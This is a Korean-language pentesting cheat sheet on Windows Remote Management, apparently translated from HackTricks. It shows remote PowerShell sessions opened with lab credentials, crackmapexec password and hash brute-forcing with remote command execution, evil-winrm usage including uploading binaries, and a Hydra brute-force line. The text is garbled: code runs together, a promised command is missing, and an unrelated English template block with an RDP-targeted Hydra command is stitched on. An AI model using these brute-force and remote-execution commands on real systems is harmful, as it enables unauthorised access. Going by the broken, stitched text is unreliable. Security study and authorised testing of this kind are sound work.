Windows 원격 관리 (WinRM)은 Microsoft의 프로토콜로, HTTP(S)를 통해 Windows 시스템의 원격 관리를 가능케 하는 것으로 강조됩니다. 이는 SOAP를 활용하며 기본적으로 WMI에 의해 구동되며, WMI 작업을 위한 HTTP 기반 인터페이스로 나타납니다.
기기에 WinRM이 존재하면 PowerShell을 통해 간편한 원격 관리가 가능하며, 다른 운영 체제에서 SSH가 작동하는 방식과 유사합니다. WinRM이 작동 중인지 확인하려면 특정 포트가 열려 있는지 확인하는 것이 권장됩니다:
5985/tcp (HTTP)
5986/tcp (HTTPS)
위 목록에서 포트가 열려 있다면 WinRM이 설정되어 있음을 나타내며, 따라서 원격 세션을 시작할 수 있는 시도를 허용합니다.
WinRM 세션 시작
PowerShell을 WinRM에 구성하려면 Microsoft의 Enable-PSRemoting cmdlet을 사용하여 컴퓨터를 원격 PowerShell 명령을 수락하도록 설정합니다. 상위 권한 PowerShell 액세스로 이 기능을 활성화하고 임의의 호스트를 신뢰할 수 있도록 다음 명령을 실행할 수 있습니다:
이 방법을 사용하면 원격 WinRM 설정이 가능해져 멀리 떨어진 Windows 기기를 효율적으로 관리할 수 있습니다.
구성 여부 테스트
공격 기기의 설정을 확인하려면 Test-WSMan 명령을 사용하여 대상이 WinRM을 올바르게 구성했는지 확인합니다. 이 명령을 실행하면 프로토콜 버전 및 wsmid에 대한 세부 정보를 받아들일 것으로 예상되며, 이는 성공적인 구성을 나타냅니다. 아래는 구성된 대상과 구성되지 않은 대상에 대한 예상 출력을 보여주는 예시입니다:
#If you need to use different creds$password=ConvertTo-SecureString'Stud41Password@123'-Asplaintext -force## Note the ".\" in the suername to indicate it's a local user (host domain)$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)# EnterEnter-PSSession-ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credentialusername]## Bypass proxyEnter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess## Background current PS sessionExit-PSSession# This will leave it in background if it's inside an env var (New-PSSession...)
세션은 "피해자" 내부의 새 프로세스(wsmprovhost)에서 실행됩니다.
WinRM 강제 열기
PS Remoting 및 WinRM을 사용하려면 컴퓨터가 구성되어 있지 않더라도 다음을 사용하여 활성화할 수 있습니다:
#If you need to use different creds$password=ConvertTo-SecureString'Stud41Password@123'-Asplaintext -force## Note the ".\" in the suername to indicate it's a local user (host domain)$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)#You can save a session inside a variable$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doingEnter-PSSession-Session $sess1
이 세션 내에서 _Invoke-Command_을 사용하여 PS 스크립트를 로드할 수 있습니다.
enter-pssession : 원격 서버 10.10.10.175에 연결하는 데 다음 오류 메시지로 실패했습니다 : WinRM 클라이언트가 요청을 처리할 수 없습니다. 인증 체계가 Kerberos와 다른 경우 또는 클라이언트 컴퓨터가 도메인에 가입되지 않은 경우 HTTPS 전송을 사용하거나 대상 컴퓨터를 TrustedHosts 구성 설정에 추가해야 합니다. TrustedHosts를 구성하려면 winrm.cmd를 사용하십시오. TrustedHosts 목록에 있는 컴퓨터는 인증되지 않을 수 있습니다. 다음 명령을 실행하여 관련 정보를 얻을 수 있습니다 : winrm help config. 자세한 정보는 about_Remote_Troubleshooting 도움말 주제를 참조하십시오.
#Brute forcecrackmapexec winrm <IP>-d <DomainName>-u usernames.txt -p passwords.txt#Just check a pair of credentials# Username + Password + CMD command executioncrackmapexec winrm <IP>-d <DomainName>-u <username>-p<password>-x "whoami"# Username + Hash + PS command executioncrackmapexec winrm <IP>-d <DomainName>-u <username>-H<HASH>-X'$PSVersionTable'#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}